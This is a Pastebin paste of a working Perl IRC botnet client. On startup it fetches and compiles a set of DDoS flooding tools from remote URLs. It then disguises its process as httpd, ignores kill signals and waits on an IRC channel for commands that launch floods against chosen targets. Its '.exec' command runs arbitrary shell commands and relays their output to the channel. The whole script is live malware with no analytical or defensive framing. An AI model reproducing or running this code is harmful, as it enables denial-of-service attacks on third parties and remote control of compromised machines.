Advertisement
Guest User

Score test

a guest
Jul 23rd, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.32 KB | None | 0 0
  1. #!usr/bin/perl
  2.  
  3. use IO::Socket;
  4. my $processo = '/usr/sbin/httpd';
  5. my $server = "irc.freenode.net";
  6. my $code = int(rand(100000));
  7. my $channel = "#Guto";
  8. my $port = "6667";
  9. my $nick = "Machine_$code";
  10.  
  11. unless (-e "sadattack.py") {
  12. print "[*] Instalando o SADATTACK...";
  13. system("wget https://pastebin.com/raw/XiwqFZqe -O sadattack.py");
  14. }
  15.  
  16. unless (-e "cfbypass.py") {
  17. print "[*] Instalando o CF-BYPASS...";
  18. system("wget https://pastebin.com/raw/QFJgPp4S -O cfbypass.py");
  19. }
  20.  
  21. unless (-e "hulk.py") {
  22. print "[*] Instalando o HULK... ";
  23. system("wget https://pastebin.com/raw/gdDMQXWQ -O hulk.py");
  24. }
  25.  
  26. unless (-e "goldeneye.py") {
  27. print "[*] Instalando o Goldeneye... ";
  28. system("wget https://pastebin.com/raw/eY3C0anh -O goldeneye.py");
  29. }
  30.  
  31. unless (-e "udp1.pl") {
  32. print "[*] Instalando UDPFlooder... ";
  33. system("wget https://pastebin.com/raw/n399Y8ES -O udp1.pl");
  34. }
  35.  
  36. unless (-e "std.c") {
  37. print "[*] Instalando STD... ";
  38. system("wget https://pastebin.com/raw/3UCGvEnD -O std.c");
  39. system("gcc std.c -o std -pthread");
  40. }
  41.  
  42. unless (-e "httpabuse.pl") {
  43. print "[*] Instalando HTTPABUSE... ";
  44. system("wget https://pastebin.com/raw/nzmmmQaR -O httpabuse.pl");
  45. }
  46.  
  47. unless (-e "rand.pl") {
  48. print "[*] Instalando UDPRand... ";
  49. system("wget https://pastebin.com/raw/XqHSJT1J -O rand.pl");
  50. }
  51.  
  52. unless (-e "DNS.pl") {
  53. print "[*] Instalando DNS... ";
  54. system("wget https://pastebin.com/raw/ZEeaYZRg -O DNS.pl");
  55. }
  56.  
  57. unless (-e "ack.pl") {
  58. print "[*] Instalando ACK... ";
  59. system("wget https://pastebin.com/raw/57pBN7Un -O ack.pl");
  60. }
  61. all();
  62. sub all {
  63. $SIG{'INT'} = 'IGNORE';
  64. $SIG{'HUP'} = 'IGNORE';
  65. $SIG{'TERM'} = 'IGNORE';
  66. $SIG{'CHLD'} = 'IGNORE';
  67. $SIG{'PS'} = 'IGNORE';
  68.  
  69. $s0ck3t = new IO::Socket::INET(
  70. PeerAddr => $server,
  71. PeerPort => $port,
  72. Proto => 'tcp'
  73. );
  74. if ( !$s0ck3t ) {
  75. print "\nError\n";
  76. exit 1;
  77. }
  78.  
  79. $0 = "$processo" . "\0" x 16;
  80. my $pid = fork;
  81. exit if $pid;
  82. die "Problema com o fork: $!" unless defined($pid);
  83.  
  84. print $s0ck3t "NICK $nick\r\n";
  85. print $s0ck3t "USER $nick 1 1 1 1\r\n";
  86.  
  87. print "Online ;)\n\n";
  88. while ( my $log = <$s0ck3t> ) {
  89. chomp($log);
  90.  
  91. if ( $log =~ m/^PING(.*)$/i ) {
  92. print $s0ck3t "PONG $1\r\n";
  93. print $s0ck3t "JOIN $channel\r\n";
  94. }
  95.  
  96. if ( $log =~ m/:!sadattack (.*)$/g ){##########
  97. my $target_sadattack = $1;
  98. $target_sadattack =~ s/^\s*(.*?)\s*$/$1/;
  99. $target_sadattack;
  100. print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack started at $1, use !stopsad for stop :P \r\n";
  101. system("nohup python sadattack.py $target_sadattack > /dev/null 2>&1 &");
  102. }
  103.  
  104. if ( $log =~ m/:!stopsad/g ){##########
  105. print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack sucessfully finished! \r\n";
  106. system("pkill -9 -f sadattack");
  107. }
  108.  
  109. if ( $log =~ m/:!hulk (.*)$/g ){##########
  110. my $target_hulk = $1;
  111. $target_hulk =~ s/^\s*(.*?)\s*$/$1/;
  112. $target_hulk;
  113. print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack started at $1, use !stophulk for stop :P \r\n";
  114. system("nohup python hulk.py $target_hulk > /dev/null 2>&1 &");
  115. }
  116.  
  117. if ( $log =~ m/:!stophulk/g ){##########
  118. print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack sucessfully finished! \r\n";
  119. system("pkill -9 -f hulk");
  120. }
  121.  
  122. if ( $log =~ m/:!gold (.*)$/g ){##########
  123. my $target_gold = $1;
  124. $target_gold =~ s/^\s*(.*?)\s*$/$1/;
  125. print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack started at $1, use !stopgold for stop :P \r\n";
  126. system("nohup python goldeneye.py $target_gold -w 15 -s 650 > /dev/null 2>&1 &");
  127. }
  128.  
  129. if ( $log =~ m/:!stopgold/g ){##########
  130. print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack sucessfully finished! \r\n";
  131. system("pkill -9 -f goldeneye");
  132. }
  133.  
  134. if ( $log =~ m/:!cfbypass (.*)$/g ){##########
  135. my $target_cf = $1;
  136. $target_cf =~ s/^\s*(.*?)\s*$/$1/;
  137. print $s0ck3t "PRIVMSG $channel :67[63CF-BYPASS67]61 Attack started at $1, use !stopcf for stop :P \r\n";
  138. system("nohup python cfbypass.py $target_cf > /dev/null 2>&1 &");
  139. }
  140.  
  141. if ( $log =~ m/:!stopcf/g ){##########
  142. print $s0ck3t "PRIVMSG $channel :67[63CF-BYPASS67]61 Attack sucessfully finished! \r\n";
  143. system("pkill -9 -f cfbypass");
  144. }
  145.  
  146. if ( $log =~ m/:!udp (.*)$/g ){##########
  147. my $target_udp = $1;
  148. print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack started at $target_udp, use !stopudp for stop :P \r\n";
  149. system("nohup perl udp1.pl $target_udp > /dev/null 2>&1 &");
  150. }
  151. if ( $log =~ m/:!stopudp/g ){##########
  152. print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack sucessfully finished! \r\n";
  153. system("pkill -9 -f udp1");
  154. }
  155.  
  156. if ( $log =~ m/:!std (.*)$/g ){##########
  157. my $target_std = $1;
  158. my $port_std = $2;
  159. my $time_std = $3;
  160. print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack started at $target_std, use !stopstd for stop :P \r\n";
  161. system("nohup ./std $target_std $port_std $time_std > /dev/null 2>&1 &");
  162. }
  163.  
  164. if ( $log =~ m/:!stopstd/g ){##########
  165. print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack sucessfully finished! \r\n";
  166. system("pkill -9 -f std");
  167. }
  168.  
  169. if ( $log =~ m/:!httpabuse (.*)$/g ){##########
  170. my $target_httpabuse = $1;
  171. $target_httpabuse =~ s/^\s*(.*?)\s*$/$1/;
  172. $target_httpabuse;
  173. print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack started at $1, use !stopabuse for stop :P \r\n";
  174. system("nohup perl httpabuse.pl $target_httpabuse 1000 100 GET 13.37 > /dev/null 2>&1 &");
  175. }
  176.  
  177. if ( $log =~ m/:!stopabuse/g ){##########
  178. print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack sucessfully finished! \r\n";
  179. system("pkill -9 -f httpabuse");
  180. }
  181.  
  182. if ( $log =~ m/:!dns (.*)$/g ){##########
  183. my $target_dns = $1;
  184. my $time_dns = $2;
  185. print $s0ck3t "PRIVMSG $channel :67[63DNS67]61 Attack started at $target_dns, use !stopdns for stop :P \r\n";
  186. system("nohup perl DNS.pl $target_dns $time_dns > /dev/null 2>&1 &");
  187. }
  188. if ( $log =~ m/:!stopdns/g ){##########
  189. print $s0ck3t "PRIVMSG $channel :67[63DNS67]61 Attack sucessfully finished! \r\n";
  190. system("pkill -9 -f DNS");
  191. }
  192.  
  193. if ( $log =~ m/:!rand (.*)$/g ){##########
  194. my $target_rand = $1;
  195. my $time_rand = $2;
  196. print $s0ck3t "PRIVMSG $channel :67[63RAND67]61 Attack started at $target_rand, use !stoprand for stop :P \r\n";
  197. system("nohup perl rand.pl $target_rand $time_rand > /dev/null 2>&1 &");
  198. }
  199. if ( $log =~ m/:!stoprand/g ){##########
  200. print $s0ck3t "PRIVMSG $channel :67[63RAND67]61 Attack sucessfully finished! \r\n";
  201. system("pkill -9 -f rand");
  202. }
  203.  
  204. if ( $log =~ m/:!ack (.*)$/g ){##########
  205. my $target_ack = $1;
  206. my $time_ack = $2;
  207. print $s0ck3t "PRIVMSG $channel :67[63ACK67]61 Attack started at $target_ack, use !stopack for stop :P \r\n";
  208. system("nohup perl ack.pl $target_ack $time_ack > /dev/null 2>&1 &");
  209. }
  210. if ( $log =~ m/:!stopack/g ){##########
  211. print $s0ck3t "PRIVMSG $channel :67[63ACK67]61 Attack sucessfully finished! \r\n";
  212. system("pkill -9 -f ack");
  213. }
  214.  
  215. #######################
  216. # inocent is the best #
  217. #######################
  218.  
  219. #######################
  220. # inocent is the best #
  221. #######################
  222.  
  223. #######################
  224. # inocent is the best #
  225. #######################
  226.  
  227. #######################
  228. # inocent is the best #
  229. #######################
  230.  
  231. if ( $log =~ m/:.exec (.*)$/g ){##########
  232. my $comando_raw = `$1`;
  233. open(handler,">mat.tmp");
  234. print handler $comando_raw;
  235. close(handler);
  236.  
  237. open(h4ndl3r,"<","mat.tmp");
  238. my @commandoarray = <h4ndl3r>;
  239.  
  240. foreach my $comando_each (@commandoarray){
  241. sleep(1);
  242. print $s0ck3t "PRIVMSG $channel :$comando_each \r\n";
  243. }
  244. }
  245. }
  246. }
  247. while(true){
  248. all();
  249. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement